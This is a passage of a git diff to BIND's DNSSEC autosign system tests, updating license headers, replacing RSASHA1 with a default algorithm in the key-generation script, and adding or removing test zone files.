+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/delay.example.db b/bin/tests/system/autosign/ns3/delay.example.db
deleted file mode 100644
index cbfb691d08..0000000000
--- a/bin/tests/system/autosign/ns3/delay.example.db
+++ /dev/null
@@ -1,24 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300	; 5 minutes
-@			IN SOA	mname1. . (
-				2009102722 ; serial
-				20         ; refresh (20 seconds)
-				20         ; retry (20 seconds)
-				1814400    ; expire (3 weeks)
-				3600       ; minimum (1 hour)
-				)
-			NS	ns
-ns			A	10.53.0.3
-
-a			A	10.0.0.1
-b			A	10.0.0.2
-d			A	10.0.0.4
-x			CNAME	a
diff --git a/bin/tests/system/autosign/ns3/delay.example.db.in b/bin/tests/system/autosign/ns3/delay.example.db.in
new file mode 100644
index 0000000000..0b11a00b00
--- /dev/null
+++ b/bin/tests/system/autosign/ns3/delay.example.db.in
@@ -0,0 +1,26 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	mname1. . (
+				2009102722 ; serial
+				20         ; refresh (20 seconds)
+				20         ; retry (20 seconds)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	ns
+ns			A	10.53.0.3
+
+a			A	10.0.0.1
+b			A	10.0.0.2
+d			A	10.0.0.4
+x			CNAME	a
diff --git a/bin/tests/system/autosign/ns3/delzsk.example.db.in b/bin/tests/system/autosign/ns3/delzsk.example.db.in
index 241de31828..14fef543e8 100644
--- a/bin/tests/system/autosign/ns3/delzsk.example.db.in
+++ b/bin/tests/system/autosign/ns3/delzsk.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/dname-at-apex-nsec3.example.db.in b/bin/tests/system/autosign/ns3/dname-at-apex-nsec3.example.db.in
index c4a378eba1..080d111ce2 100644
--- a/bin/tests/system/autosign/ns3/dname-at-apex-nsec3.example.db.in
+++ b/bin/tests/system/autosign/ns3/dname-at-apex-nsec3.example.db.in
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 $TTL	600
 @	SOA	ns3.example. . 1 1200 1200 1814400 3600
 @	NS	ns3.example.
diff --git a/bin/tests/system/autosign/ns3/inacksk2.example.db.in b/bin/tests/system/autosign/ns3/inacksk2.example.db.in
deleted file mode 100644
index 90dcba9daf..0000000000
--- a/bin/tests/system/autosign/ns3/inacksk2.example.db.in
+++ /dev/null
@@ -1,24 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300	; 5 minutes
-@			IN SOA	mname1. . (
-				1          ; serial
-				20         ; refresh (20 seconds)
-				20         ; retry (20 seconds)
-				1814400    ; expire (3 weeks)
-				3600       ; minimum (1 hour)
-				)
-			NS	ns
-ns			A	10.53.0.3
-
-a			A	10.0.0.1
-b			A	10.0.0.2
-d			A	10.0.0.4
-x			CNAME	a
diff --git a/bin/tests/system/autosign/ns3/inacksk3.example.db.in b/bin/tests/system/autosign/ns3/inacksk3.example.db.in
deleted file mode 100644
index 90dcba9daf..0000000000
--- a/bin/tests/system/autosign/ns3/inacksk3.example.db.in
+++ /dev/null
@@ -1,24 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300	; 5 minutes
-@			IN SOA	mname1. . (
-				1          ; serial
-				20         ; refresh (20 seconds)
-				20         ; retry (20 seconds)
-				1814400    ; expire (3 weeks)
-				3600       ; minimum (1 hour)
-				)
-			NS	ns
-ns			A	10.53.0.3
-
-a			A	10.0.0.1
-b			A	10.0.0.2
-d			A	10.0.0.4
-x			CNAME	a
diff --git a/bin/tests/system/autosign/ns3/inaczsk.example.db.in b/bin/tests/system/autosign/ns3/inaczsk.example.db.in
index 90dcba9daf..1376922f0a 100644
--- a/bin/tests/system/autosign/ns3/inaczsk.example.db.in
+++ b/bin/tests/system/autosign/ns3/inaczsk.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/inaczsk2.example.db.in b/bin/tests/system/autosign/ns3/inaczsk2.example.db.in
index 90dcba9daf..1376922f0a 100644
--- a/bin/tests/system/autosign/ns3/inaczsk2.example.db.in
+++ b/bin/tests/system/autosign/ns3/inaczsk2.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/inaczsk3.example.db.in b/bin/tests/system/autosign/ns3/inaczsk3.example.db.in
deleted file mode 100644
index 90dcba9daf..0000000000
--- a/bin/tests/system/autosign/ns3/inaczsk3.example.db.in
+++ /dev/null
@@ -1,24 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300	; 5 minutes
-@			IN SOA	mname1. . (
-				1          ; serial
-				20         ; refresh (20 seconds)
-				20         ; retry (20 seconds)
-				1814400    ; expire (3 weeks)
-				3600       ; minimum (1 hour)
-				)
-			NS	ns
-ns			A	10.53.0.3
-
-a			A	10.0.0.1
-b			A	10.0.0.2
-d			A	10.0.0.4
-x			CNAME	a
diff --git a/bin/tests/system/autosign/ns3/insecure.example.db b/bin/tests/system/autosign/ns3/insecure.example.db
index 86552149e1..14971bd7a6 100644
--- a/bin/tests/system/autosign/ns3/insecure.example.db
+++ b/bin/tests/system/autosign/ns3/insecure.example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/jitter.nsec3.example.db.in b/bin/tests/system/autosign/ns3/jitter.nsec3.example.db.in
index aa08c7764d..8a96023454 100644
--- a/bin/tests/system/autosign/ns3/jitter.nsec3.example.db.in
+++ b/bin/tests/system/autosign/ns3/jitter.nsec3.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/keygen.sh b/bin/tests/system/autosign/ns3/keygen.sh
index cc3462a727..fac4fc5811 100644
--- a/bin/tests/system/autosign/ns3/keygen.sh
+++ b/bin/tests/system/autosign/ns3/keygen.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -24,32 +26,34 @@ setup () {
 	zone="$1"
 	zonefile="${zone}.db"
 	infile="${zonefile}.in"
-	n=`expr ${n:-0} + 1`
+	n=$((${n:-0} + 1))
 }
 
+mkdir inactive
+
 setup secure.example
 cp $infile $zonefile
-ksk=`$KEYGEN -a RSASHA1 -3 -q -fk $zone 2> kg.out` || dumpit kg.out
-$KEYGEN -a RSASHA1 -3 -q $zone > kg.out 2>&1 || dumpit kg.out
-$DSFROMKEY $ksk.key > dsset-${zone}$TP
+ksk=$($KEYGEN -a $DEFAULT_ALGORITHM -3 -q -fk $zone 2> kg.out) || dumpit kg.out
+$KEYGEN -a $DEFAULT_ALGORITHM -3 -q $zone > kg.out 2>&1 || dumpit kg.out
+$DSFROMKEY $ksk.key > dsset-${zone}.
 
 #
 #  NSEC3/NSEC test zone
 #
 setup secure.nsec3.example
 cp $infile $zonefile
-ksk=`$KEYGEN -q -a RSASHA1 -3 -fk $zone 2> kg.out` || dumpit kg.out
-$KEYGEN -q -a RSASHA1 -3 $zone > kg.out 2>&1 || dumpit kg.out
-$DSFROMKEY $ksk.key > dsset-${zone}$TP
+ksk=$($KEYGEN -q -a $DEFAULT_ALGORITHM -3 -fk $zone 2> kg.out) || dumpit kg.out
+$KEYGEN -q -a $DEFAULT_ALGORITHM -3 $zone > kg.out 2>&1 || dumpit kg.out
+$DSFROMKEY $ksk.key > dsset-${zone}.
 
 #
 #  NSEC3/NSEC3 test zone
 #
 setup nsec3.nsec3.example
 cp $infile $zonefile
-ksk=`$KEYGEN -q -a RSASHA1 -3 -fk $zone 2> kg.out` || dumpit kg.out
-$KEYGEN -q -a RSASHA1 -3 $zone > kg.out 2>&1 || dumpit kg.out
-$DSFROMKEY $ksk.key > dsset-${zone}$TP
+ksk=$($KEYGEN -q -a $DEFAULT_ALGORITHM -3 -fk $zone 2> kg.out) || dumpit kg.out
+$KEYGEN -q -a $DEFAULT_ALGORITHM -3 $zone > kg.out 2>&1 || dumpit kg.out
+$DSFROMKEY $ksk.key > dsset-${zone}.
 
 #
 #  Jitter/NSEC3 test zone
@@ -60,7 +64,7 @@ count=1
 while [ $count -le 1000 ]
 do
     echo "label${count} IN TXT label${count}" >> $zonefile
-    count=`expr $count + 1`
+    count=$((count + 1))
 done
 # Don't create keys just yet, because the scenario we want to test
 # is an unsigned zone that has a NSEC3PARAM record added with
@@ -71,92 +75,99 @@ done
 #
 setup optout.nsec3.example
 cp $infile $zonefile
-ksk=`$KEYGEN -q -a RSASHA1 -3 -fk $zone 2> kg.out` || dumpit kg.out
-$KEYGEN -q -a RSASHA1 -3 $zone > kg.out 2>&1 || dumpit kg.out
-$DSFROMKEY $ksk.key > dsset-${zone}$TP
+ksk=$($KEYGEN -q -a $DEFAULT_ALGORITHM -3 -fk $zone 2> kg.out) || dumpit kg.out
+$KEYGEN -q -a $DEFAULT_ALGORITHM -3 $zone > kg.out 2>&1 || dumpit kg.out
+$DSFROMKEY $ksk.key > dsset-${zone}.
 
 #
 # A nsec3 zone (non-optout).
 #
 setup nsec3.example
-cat $infile dsset-*.${zone}$TP > $zonefile
-ksk=`$KEYGEN -q -a RSASHA1 -3 -fk $zone 2> kg.out` || dumpit kg.out
-$KEYGEN -q -a RSASHA1 -3 $zone > kg.out 2>&1 || dumpit kg.out
-$DSFROMKEY $ksk.key > dsset-${zone}$TP
+cat $infile dsset-*.${zone}. > $zonefile
+ksk=$($KEYGEN -q -a $DEFAULT_ALGORITHM -3 -fk $zone 2> kg.out) || dumpit kg.out
+$KEYGEN -q -a $DEFAULT_ALGORITHM -3 $zone > kg.out 2>&1 || dumpit kg.out
+$DSFROMKEY $ksk.key > dsset-${zone}.
 
 #
 # An NSEC3 zone, with NSEC3 parameters set prior to signing
 #
 setup autonsec3.example
 cat $infile > $zonefile
-ksk=`$KEYGEN -G -q -a RSASHA1 -3 -fk $zone 2> kg.out` || dumpit kg.out
+ksk=$($KEYGEN -G -q -a $DEFAULT_ALGORITHM -3 -fk $zone 2> kg.out) || dumpit kg.out
 echo $ksk > ../autoksk.key
-zsk=`$KEYGEN -G -q -a RSASHA1 -3 $zone 2> kg.out` || dumpit kg.out
+zsk=$($KEYGEN -G -q -a $DEFAULT_ALGORITHM -3 $zone 2> kg.out) || dumpit kg.out
 echo $zsk > ../autozsk.key
-$DSFROMKEY $ksk.key > dsset-${zone}$TP
+$DSFROMKEY $ksk.key > dsset-${zone}.
 
 #
 #  OPTOUT/NSEC test zone
 #
 setup secure.optout.example
 cp $infile $zonefile
-ksk=`$KEYGEN -q -a RSASHA1 -3 -fk $zone 2> kg.out` || dumpit kg.out
-$KEYGEN -q -a RSASHA1 -3 $zone > kg.out 2>&1 || dumpit kg.out
-$DSFROMKEY $ksk.key > dsset-${zone}$TP
+ksk=$($KEYGEN -q -a $DEFAULT_ALGORITHM -3 -fk $zone 2> kg.out) || dumpit kg.out
+$KEYGEN -q -a $DEFAULT_ALGORITHM -3 $zone > kg.out 2>&1 || dumpit kg.out
+$DSFROMKEY $ksk.key > dsset-${zone}.
 
 #
 #  OPTOUT/NSEC3 test zone
 #
 setup nsec3.optout.example
 cp $infile $zonefile
-ksk=`$KEYGEN -q -a RSASHA1 -3 -fk $zone 2> kg.out` || dumpit kg.out
-$KEYGEN -q -a RSASHA1 -3 $zone > kg.out 2>&1 || dumpit kg.out
-$DSFROMKEY $ksk.key > dsset-${zone}$TP
+ksk=$($KEYGEN -q -a $DEFAULT_ALGORITHM -3 -fk $zone 2> kg.out) || dumpit kg.out
+$KEYGEN -q -a $DEFAULT_ALGORITHM -3 $zone > kg.out 2>&1 || dumpit kg.out
+$DSFROMKEY $ksk.key > dsset-${zone}.
 
 #
 #  OPTOUT/OPTOUT test zone
 #
 setup optout.optout.example
 cp $infile $zonefile
-ksk=`$KEYGEN -q -a RSASHA1 -3 -fk $zone 2> kg.out` || dumpit kg.out
-$KEYGEN -q -a RSASHA1 -3 $zone > kg.out 2>&1 || dumpit kg.out
-$DSFROMKEY $ksk.key > dsset-${zone}$TP
+ksk=$($KEYGEN -q -a $DEFAULT_ALGORITHM -3 -fk $zone 2> kg.out) || dumpit kg.out
+$KEYGEN -q -a $DEFAULT_ALGORITHM -3 $zone > kg.out 2>&1 || dumpit kg.out
+$DSFROMKEY $ksk.key > dsset-${zone}.
 
 #
 # A optout nsec3 zone.
 #
 setup optout.example
-cat $infile dsset-*.${zone}$TP > $zonefile
-ksk=`$KEYGEN -q -a RSASHA1 -3 -fk $zone 2> kg.out` || dumpit kg.out
-$KEYGEN -q -a RSASHA1 -3 $zone > kg.out 2>&1 || dumpit kg.out
-$DSFROMKEY $ksk.key > dsset-${zone}$TP
+cat $infile dsset-*.${zone}. > $zonefile
+ksk=$($KEYGEN -q -a $DEFAULT_ALGORITHM -3 -fk $zone 2> kg.out) || dumpit kg.out
+$KEYGEN -q -a $DEFAULT_ALGORITHM -3 $zone > kg.out 2>&1 || dumpit kg.out
+$DSFROMKEY $ksk.key > dsset-${zone}.
 
 #
 # A RSASHA256 zone.
 #
 setup rsasha256.example
 cp $infile $zonefile
-ksk=`$KEYGEN -q -a RSASHA256 -b 2048 -fk $zone 2> kg.out` || dumpit kg.out
-$KEYGEN -q -a RSASHA256 -b 1024 $zone > kg.out 2>&1 || dumpit kg.out
-$DSFROMKEY $ksk.key > dsset-${zone}$TP
+ksk=$($KEYGEN -q -a RSASHA256 -b 2048 -fk $zone 2> kg.out) || dumpit kg.out
+$KEYGEN -q -a RSASHA256 -b 2048 $zone > kg.out 2>&1 || dumpit kg.out
+$DSFROMKEY $ksk.key > dsset-${zone}.
 
 #
 # A RSASHA512 zone.
 #
 setup rsasha512.example
 cp $infile $zonefile
-ksk=`$KEYGEN -q -a RSASHA512 -b 2048 -fk $zone 2> kg.out` || dumpit kg.out
-$KEYGEN -q -a RSASHA512 -b 1024 $zone > kg.out 2>&1 || dumpit kg.out
-$DSFROMKEY $ksk.key > dsset-${zone}$TP
+ksk=$($KEYGEN -q -a RSASHA512 -b 2048 -fk $zone 2> kg.out) || dumpit kg.out
+$KEYGEN -q -a RSASHA512 -b 2048 $zone > kg.out 2>&1 || dumpit kg.out
+$DSFROMKEY $ksk.key > dsset-${zone}.
 
 #
-# NSEC-only zone.
+# NSEC-only zone. A zone using NSEC-only DNSSEC algorithms.
+# None of these algorithms are supported for signing in FIPS mode
+# as they are MD5 and SHA1 based.
 #
-setup nsec.example
-cp $infile $zonefile
-ksk=`$KEYGEN -q -a RSASHA1 -fk $zone 2> kg.out` || dumpit kg.out
-$KEYGEN -q -a RSASHA1 $zone > kg.out 2>&1 || dumpit kg.out
-$DSFROMKEY $ksk.key > dsset-${zone}$TP
+if (cd ..; $SHELL ../testcrypto.sh -q RSASHA1)
+then
+    setup nsec-only.example
+    cp $infile $zonefile
+    ksk=$($KEYGEN -q -a RSASHA1 -fk $zone 2> kg.out) || dumpit kg.out
+    $KEYGEN -q -a RSASHA1 $zone > kg.out 2>&1 || dumpit kg.out
+    $DSFROMKEY $ksk.key > dsset-${zone}.
+else
+    echo_i "skip: nsec-only.example - signing with RSASHA1 not supported"
+fi
 
 #
 # Signature refresh test zone.  Signatures are set to expire long
@@ -168,48 +179,30 @@ count=1
 while [ $count -le 1000 ]
 do
     echo "label${count} IN TXT label${count}" >> $zonefile
-    count=`expr $count + 1`
+    count=$((count + 1))
 done
-$KEYGEN -q -a RSASHA1 -fk $zone > kg.out 2>&1 || dumpit kg.out
-$KEYGEN -q -a RSASHA1 $zone > kg.out 2>&1 || dumpit kg.out
-$SIGNER -PS -s now-1y -e now-6mo -o $zone -f $zonefile.signed $zonefile > s.out || dumpit s.out
+$KEYGEN -q -a $DEFAULT_ALGORITHM -fk $zone > kg.out 2>&1 || dumpit kg.out
+$KEYGEN -q -a $DEFAULT_ALGORITHM $zone > kg.out 2>&1 || dumpit kg.out
+$SIGNER -PS -x -s now-1y -e now-6mo -o $zone -f $zonefile.signed $zonefile > s.out || dumpit s.out
+cp $zonefile.signed $zonefile.bak
 mv $zonefile.signed $zonefile
 
 #
 # NSEC3->NSEC transition test zone.
 #
 setup nsec3-to-nsec.example
-$KEYGEN -q -a RSASHA512 -b 2048 -fk $zone > kg.out 2>&1 || dumpit kg.out
-$KEYGEN -q -a RSASHA512 -b 1024 $zone > kg.out 2>&1 || dumpit kg.out
+$KEYGEN -q -a $DEFAULT_ALGORITHM -fk $zone > kg.out 2>&1 || dumpit kg.out
+$KEYGEN -q -a $DEFAULT_ALGORITHM $zone > kg.out 2>&1 || dumpit kg.out
 $SIGNER -S -3 beef -A -o $zone -f $zonefile $infile > s.out || dumpit s.out
 
-#
-# secure-to-insecure transition test zone; used to test removal of
-# keys via nsupdate
-#
-setup secure-to-insecure.example
-$KEYGEN -a RSASHA1 -q -fk $zone > kg.out 2>&1 || dumpit kg.out
-$KEYGEN -a RSASHA1 -q $zone > kg.out 2>&1 || dumpit kg.out
-$SIGNER -S -o $zone -f $zonefile $infile > s.out || dumpit s.out
-
-#
-# another secure-to-insecure transition test zone; used to test
-# removal of keys on schedule.
-#
-setup secure-to-insecure2.example
-ksk=`$KEYGEN -q -a RSASHA1 -3 -fk $zone 2> kg.out` || dumpit kg.out
-echo $ksk > ../del1.key
-zsk=`$KEYGEN -q -a RSASHA1 -3 $zone 2> kg.out` || dumpit kg.out
-echo $zsk > ../del2.key
-$SIGNER -S -3 beef -o $zone -f $zonefile $infile > s.out || dumpit s.out
-
 #
 # Introducing a pre-published key test.
 #
 setup prepub.example
-infile="secure-to-insecure2.example.db.in"
-$KEYGEN -a RSASHA1 -3 -q -fk $zone > kg.out 2>&1 || dumpit kg.out
-$KEYGEN -a RSASHA1 -3 -q $zone > kg.out 2>&1 || dumpit kg.out
+infile="prepub.example.db.in"
+$KEYGEN -a $DEFAULT_ALGORITHM -3 -q -fk $zone > kg.out 2>&1 || dumpit kg.out
+zsk=$($KEYGEN -a $DEFAULT_ALGORITHM -3 -q $zone 2> kg.out) || dumpit kg.out
+echo $zsk > ../prepub.key
 $SIGNER -S -3 beef -o $zone -f $zonefile $infile > s.out || dumpit s.out
 
 #
@@ -218,46 +211,59 @@ $SIGNER -S -3 beef -o $zone -f $zonefile $infile > s.out || dumpit s.out
 
 # no default key TTL; DNSKEY should get SOA TTL
 setup ttl1.example
-$KEYGEN -a RSASHA1 -3 -q -fk $zone > kg.out 2>&1 || dumpit kg.out
-$KEYGEN -a RSASHA1 -3 -q $zone > kg.out 2>&1 || dumpit kg.out
+$KEYGEN -a $DEFAULT_ALGORITHM -3 -q -fk $zone > kg.out 2>&1 || dumpit kg.out
+$KEYGEN -a $DEFAULT_ALGORITHM -3 -q $zone > kg.out 2>&1 || dumpit kg.out
 cp $infile $zonefile
 
 # default key TTL should be used
-setup ttl2.example 
-$KEYGEN -a RSASHA1 -3 -q -fk -L 60 $zone > kg.out 2>&1 || dumpit kg.out
-$KEYGEN -a RSASHA1 -3 -q -L 60 $zone > kg.out 2>&1 || dumpit kg.out
+setup ttl2.example
+$KEYGEN -a $DEFAULT_ALGORITHM -3 -q -fk -L 60 $zone > kg.out 2>&1 || dumpit kg.out
+$KEYGEN -a $DEFAULT_ALGORITHM -3 -q -L 60 $zone > kg.out 2>&1 || dumpit kg.out
 cp $infile $zonefile
 
 # mismatched key TTLs, should use shortest
 setup ttl3.example
-$KEYGEN -a RSASHA1 -3 -q -fk -L 30 $zone > kg.out 2>&1 || dumpit kg.out
-$KEYGEN -a RSASHA1 -3 -q -L 60 $zone > kg.out 2>&1 || dumpit kg.out
+$KEYGEN -a $DEFAULT_ALGORITHM -3 -q -fk -L 30 $zone > kg.out 2>&1 || dumpit kg.out
+$KEYGEN -a $DEFAULT_ALGORITHM -3 -q -L 60 $zone > kg.out 2>&1 || dumpit kg.out
 cp $infile $zonefile
 
 # existing DNSKEY RRset, should retain TTL
 setup ttl4.example
-$KEYGEN -a RSASHA1 -3 -q -L 30 -fk $zone > kg.out 2>&1 || dumpit kg.out
+$KEYGEN -a $DEFAULT_ALGORITHM -3 -q -L 30 -fk $zone > kg.out 2>&1 || dumpit kg.out
 cat ${infile} K${zone}.+*.key > $zonefile
-$KEYGEN -a RSASHA1 -3 -q -L 180 $zone > kg.out 2>&1 || dumpit kg.out
+$KEYGEN -a $DEFAULT_ALGORITHM -3 -q -L 180 $zone > kg.out 2>&1 || dumpit kg.out
 
 #
 # A zone with a DNSKEY RRset that is published before it's activated
 #
 setup delay.example
-ksk=`$KEYGEN -G -q -a RSASHA1 -3 -fk $zone 2> kg.out` || dumpit kg.out
+ksk=$($KEYGEN -G -q -a $DEFAULT_ALGORITHM -3 -fk $zone 2> kg.out) || dumpit kg.out
 echo $ksk > ../delayksk.key
-zsk=`$KEYGEN -G -q -a RSASHA1 -3 $zone 2> kg.out` || dumpit kg.out
+zsk=$($KEYGEN -G -q -a $DEFAULT_ALGORITHM -3 $zone 2> kg.out) || dumpit kg.out
 echo $zsk > ../delayzsk.key
+cp delay.example.db.in delay.example.db
+
+#
+# A zone with signatures that are already expired, and the private KSK
+# is missing.
+#
+setup noksk.example
+ksk=$($KEYGEN -q -a $DEFAULT_ALGORITHM -3 -fk $zone 2> kg.out) || dumpit kg.out
+zsk=$($KEYGEN -q -a $DEFAULT_ALGORITHM -3 $zone 2> kg.out) || dumpit kg.out
+$SIGNER -S -P -s now-1mo -e now-1mi -o $zone -f $zonefile ${zonefile}.in > s.out || dumpit s.out
+echo $ksk > ../noksk-ksk.key
+rm -f ${ksk}.private
 
 #
 # A zone with signatures that are already expired, and the private ZSK
 # is missing.
 #
 setup nozsk.example
-$KEYGEN -q -a RSASHA1 -3 -fk $zone > kg.out 2>&1 || dumpit kg.out
-zsk=`$KEYGEN -q -a RSASHA1 -3 $zone`
+ksk=$($KEYGEN -q -a $DEFAULT_ALGORITHM -3 -fk $zone 2> kg.out) || dumpit kg.out
+zsk=$($KEYGEN -q -a $DEFAULT_ALGORITHM -3 $zone 2> kg.out) || dumpit kg.out
 $SIGNER -S -P -s now-1mo -e now-1mi -o $zone -f $zonefile ${zonefile}.in > s.out || dumpit s.out
-echo $zsk > ../missingzsk.key
+echo $ksk > ../nozsk-ksk.key
+echo $zsk > ../nozsk-zsk.key
 rm -f ${zsk}.private
 
 #
@@ -265,76 +271,48 @@ rm -f ${zsk}.private
 # is inactive.
 #
 setup inaczsk.example
-$KEYGEN -q -a RSASHA1 -3 -fk $zone > kg.out 2>&1 || dumpit kg.out
-zsk=`$KEYGEN -q -a RSASHA1 -3 $zone`
+ksk=$($KEYGEN -q -a $DEFAULT_ALGORITHM -3 -fk $zone 2> kg.out) || dumpit kg.out
+zsk=$($KEYGEN -q -a $DEFAULT_ALGORITHM -3 $zone 2> kg.out) || dumpit kg.out
 $SIGNER -S -P -s now-1mo -e now-1mi -o $zone -f $zonefile ${zonefile}.in > s.out || dumpit s.out
-echo $zsk > ../inactivezsk.key
+echo $ksk > ../inaczsk-ksk.key
+echo $zsk > ../inaczsk-zsk.key
 $SETTIME -I now $zsk > st.out 2>&1 || dumpit st.out
 
 #
-# A zone that is set to 'auto-dnssec maintain' during a reconfig
+# A zone that is set to 'dnssec-policy' during a reconfig
 #
 setup reconf.example
 cp secure.example.db.in $zonefile
-$KEYGEN -q -a RSASHA1 -3 -fk $zone > kg.out 2>&1 || dumpit kg.out
-$KEYGEN -q -a RSASHA1 -3 $zone > kg.out 2>&1 || dumpit kg.out
+$KEYGEN -q -a $DEFAULT_ALGORITHM -3 -fk $zone > kg.out 2>&1 || dumpit kg.out
+$KEYGEN -q -a $DEFAULT_ALGORITHM -3 $zone > kg.out 2>&1 || dumpit kg.out
 
 #
-# A zone which generates CDS and CDNSEY RRsets automatically
+# A zone which generates CDS and CDNSEY RRsets automatically (with an additional CSK)
 #
 setup sync.example
 cp $infile $zonefile
-ksk=`$KEYGEN -a RSASHA1 -3 -q -fk -P sync now $zone 2> kg.out` || dumpit kg.out
-$KEYGEN -a RSASHA1 -3 -q $zone > kg.out 2>&1 || dumpit kg.out
-$DSFROMKEY $ksk.key > dsset-${zone}$TP
+ksk=$($KEYGEN -a $DEFAULT_ALGORITHM -3 -q -fk -P sync now $zone 2> kg.out) || dumpit kg.out
+$KEYGEN -a $DEFAULT_ALGORITHM -3 -q $zone > kg.out 2>&1 || dumpit kg.out
+$DSFROMKEY $ksk.key > dsset-${zone}.
 echo ns3/$ksk > ../sync.key
 
 #
-# A zone that generates CDS and CDNSKEY and uses dnssec-dnskey-kskonly
+# A zone that generates CDS and CDNSKEY automatically
 #
 setup kskonly.example
 cp $infile $zonefile
-ksk=`$KEYGEN -a RSASHA1 -3 -q -fk -P sync now $zone 2> kg.out` || dumpit kg.out
-$KEYGEN -a RSASHA1 -3 -q $zone > kg.out 2>&1 || dumpit kg.out
-$DSFROMKEY $ksk.key > dsset-${zone}$TP
-
-#
-# A zone that has a published inactive key that is autosigned.
-#
-setup inacksk2.example
-cp $infile $zonefile
